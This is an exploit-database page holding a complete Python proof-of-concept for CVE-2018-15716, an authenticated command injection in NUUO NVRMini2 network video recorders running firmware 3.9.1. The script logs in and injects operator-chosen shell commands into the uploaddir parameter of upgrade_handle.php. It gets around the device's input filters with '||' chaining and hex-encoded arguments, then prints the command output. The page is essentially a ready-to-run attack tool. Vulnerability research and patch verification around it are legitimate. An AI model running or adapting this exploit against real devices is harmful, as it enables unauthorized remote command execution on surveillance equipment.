NUUO NVRMini2 3.9.1 - Authenticated Command Injection



EKU-ID: 8196 CVE: 2018-15716 OSVDB-ID:
Author: Artem Metla Published: 2018-12-05 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


# Exploit Title: NUUO NVRMini2 Authenticated Command Injection
# Date: December 3, 2018
# Exploit Author: Artem Metla
# Vendor Homepage: https://www.nuuo.com/ProductNode.php?node=2#
# Version: 3.9.1
# Tested on: NUUO NVRMini2 with firmware 3.9.1
# CVE : CVE-2018-15716
# Advisory: https://www.tenable.com/security/research/tra-2018-41
 
import argparse
import requests
import urllib.parse
import binascii
import http.cookiejar as cookielib
import re
 
 
def run(target, username, password, command):
    """ Authenticate us and execute exploitation """
    # Step 1. Authentication
    payload = {'language':'en', 'user':username, 'pass':password,
'submit':'Login'}
    r = requests.post(urllib.parse.urljoin(target, 'login.php'),
data=payload, verify=False, allow_redirects=False)
 
    jar = r.cookies
 
    # Step 2. Prepare a payload
 
    # We're bypassing 2 filters:
    # 1) Instead of using ";" we can try || or &&, to bypass:
    #    if(strpos($uploaddir, ';') !== false)
    #    {
    #      die('[1]Not a valid path.');
    #    }
 
    # 2) To bypass this:
    #    $cmd = "sed -i 's/".str_replace('/', '\/',
$current_dir)."/".str_replace('/', '\/', $tmp_upload_dir)."/g'
".PHP_CINF_PATH;
    #    we have to HEX encode a payload
    #
    #    Simple example of payload that we're trying to achieve: '||ls`echo
-e "\\x20\\x2f"`||' to execue: ls /
 
    # 3) Multiple parameters commands are not supported yet, but the same
techique could be used for them
 
    # Primitive Bash command parser
    splitted_command = [command]
    for i in range(0, len(command)-1):
        if command[i] == " " and command[i+1] != "-":
            splitted_command = [command[:i], command[i+1:]]
            break
 
    # Encoding a payload
    if len(splitted_command) == 2:
        payload = "".join('\\\\x%s' %
binascii.hexlify(char.encode('ascii')).decode("utf-8") for char in
splitted_command[1])
        exploit = '\'||%s `echo -e "%s"`||\'' % (splitted_command[0],
payload)
        print("Exploit: %s" % exploit)
    else:
        exploit = '\'||%s||\'' % (splitted_command[0])
        print("Exploit: %s" % exploit)
 
    # Step 3. Send a payload
    payload = {'cmd':'writeuploaddir', 'uploaddir':exploit}
    r = requests.get(urllib.parse.urljoin(target, 'upgrade_handle.php'),
params=payload, verify=False, cookies=jar)
 
    # Step 4. Output processing to grab only needed output
    res = re.search('upload_tmp_dir=([^<>]*)<br />', str(r.content))
    if res:
        print(res.group(1).replace('\\n', '\n'))
 
 
def main():
    """ Parse command line arguments and start exploit """
    parser = argparse.ArgumentParser(
            add_help=False,
            formatter_class=argparse.RawDescriptionHelpFormatter,
            epilog="Examples: %(prog)s -t http://192.168.0.1/ -u username
-p password -c whoami")
 
    # Adds arguments to help menu
    parser.add_argument("-h", action="help", help="Print this help message
then exit")
    parser.add_argument("-t", dest="target", required="yes", help="Target
URL address like: https://localhost:443/")
    parser.add_argument("-u", dest="username", required="yes",
help="Username to authenticate")
    parser.add_argument("-p", dest="password", required="yes",
help="Password to authenticate")
    parser.add_argument("-c", dest="command", required="yes", help="Shell
command to execute")
 
    # Assigns the arguments to various variables
    args = parser.parse_args()
 
    run(args.target, args.username, args.password, args.command)
 
 
#
# Main
#
 
if __name__ == "__main__":
    main()